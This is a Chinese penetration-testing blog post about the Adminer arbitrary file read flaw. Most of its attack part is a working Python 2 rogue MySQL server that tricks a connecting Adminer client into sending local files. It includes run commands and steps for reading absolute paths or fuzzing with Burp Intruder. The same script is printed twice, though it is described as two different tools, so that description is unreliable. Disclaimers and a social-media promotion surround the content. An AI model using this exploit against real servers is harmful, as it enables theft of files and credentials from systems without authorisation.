渗透测试中遇到的Adminer任意文件读取漏洞

免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

软件简介

Adminer是一款轻量级的Web端数据库管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库,类似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用安装,支持连接远程数据库。

漏洞原理

Adminer任意文件读取漏洞其实来源于MySQL“LOAD DATA INFILE”安全问题,Adminer4.6.3版本中已经修复了LOAD DATA LOCAL INFILE问题。

漏洞复现

在某次做项目的时候遇到一个mysql.php,打开发现是adminer,网上搜到任意文件读取复现的时候,用了网上很多的python脚本都无法运行起来(例如:https://github.com/allyshka/Rogue-MySql-Server)。在GitHub找到一个可以运行的脚本,原理是模拟mysql的运行。
在这里插入图片描述

字典脚本

# -*- coding: utf-8 -*-
import socket
import os
import sys

#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------

def mysql_get_file_content(sv, filename):
    conn, address = sv.accept()
    logpath = os.path.abspath('.') + "/log/" + address[0]
    if not os.path.exists(logpath):
        os.makedirs(logpath)
    # Conn from address)
    conn.sendall(
        "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    conn.recv(9999)
    # auth okay
    conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    conn.recv(9999)
    # want file...
    wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    conn.sendall(wantfile)
    content = conn.recv(9999)
    conn.close()

    if len(content) > 4:
        with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
            txt.write(content)
        return True
    else:
        return False



# 开始监听
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)

# 日志文件夹




# 循环监听
while True:
    filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
    if filename == "":
        break
    res = mysql_get_file_content(sv, filename)
    if res:
        print "Read Success! ---> "+filename
    else:
        print "Not Found~ ---> "+filename


直接输入文件读取脚本

# -*- coding: utf-8 -*-
import socket
import os
import sys

#--------------------------------------------------------------------------------------------------------------------
port = int(sys.argv[1])
#--------------------------------------------------------------------------------------------------------------------

def mysql_get_file_content(sv, filename):
    conn, address = sv.accept()
    logpath = os.path.abspath('.') + "/log/" + address[0]
    if not os.path.exists(logpath):
        os.makedirs(logpath)
    # Conn from address)
    conn.sendall(
        "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    conn.recv(9999)
    # auth okay
    conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    conn.recv(9999)
    # want file...
    wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    conn.sendall(wantfile)
    content = conn.recv(9999)
    conn.close()

    if len(content) > 4:
        with open(logpath + "/" + filename.replace("/", "_").replace(":", "_"), "w") as txt:
            txt.write(content)
        return True
    else:
        return False



# 开始监听
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", port))
sv.listen(5)
print "Listen Begin in port "+str(port)

# 日志文件夹




# 循环监听
while True:
    filename = raw_input("请输入接下来你想读的文件名 (直接按回车退出): ")
    if filename == "":
        break
    res = mysql_get_file_content(sv, filename)
    if res:
        print "Read Success! ---> "+filename
    else:
        print "Not Found~ ---> "+filename

这两个mysql任意文件读取脚本 一定能满足你的需求!

项目提供了两个文件,dicc和input, 一个采用字典的方式进行任意文件读取 一个采用交互式界面进行任意文件读取 不需要进入vim! 用字典直接读!命令行直接输! 结合burp intruder,直接fuzz出flag!

采用了socket的端口复用技术,防止端口被系统占用,想绑定就绑定,为所欲为! PS: 端口复用只能防止套接字关闭后被系统保留,如果端口上已经有mysql应用,则还是不能绑定​ 会爆socket.error: [Errno 10013]错误

直接输入文件绝对路径读取脚本使用方法

python2 exp_input.py port
例
python2 exp_input.py 3306

脚本运行需要使用python2环境
输入想要读取的文件绝对路径,然后回车
在这里插入图片描述
打开adminer页面输入服务器的IP,用户名密码数据库可以随便输入。然后点击登录
在这里插入图片描述
看到如下代表成功读取文件。
在这里插入图片描述
成功读取文件。
在这里插入图片描述

字典脚本使用方法

把路径字典写到dict.txt文件
在这里插入图片描述
然后运行

python2 exp_dicc.py port
例
python2 exp_dicc.py 3306

此时会进入监听,可以在命令行输入你想读的文件,然后发包即可,每次发完包需重新输入文件名 直接回车即可退出,读取成功的文件也会被计入到log文件夹
在这里插入图片描述
工具下载地址

使用抖音扫一扫关注我,带你学习网安知识,渗透实战,红队技巧。
在这里插入图片描述

免责声明:

仅限授权安全测试使用,禁止未授权非法攻击站点。本文章仅供学习和研究使用。严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值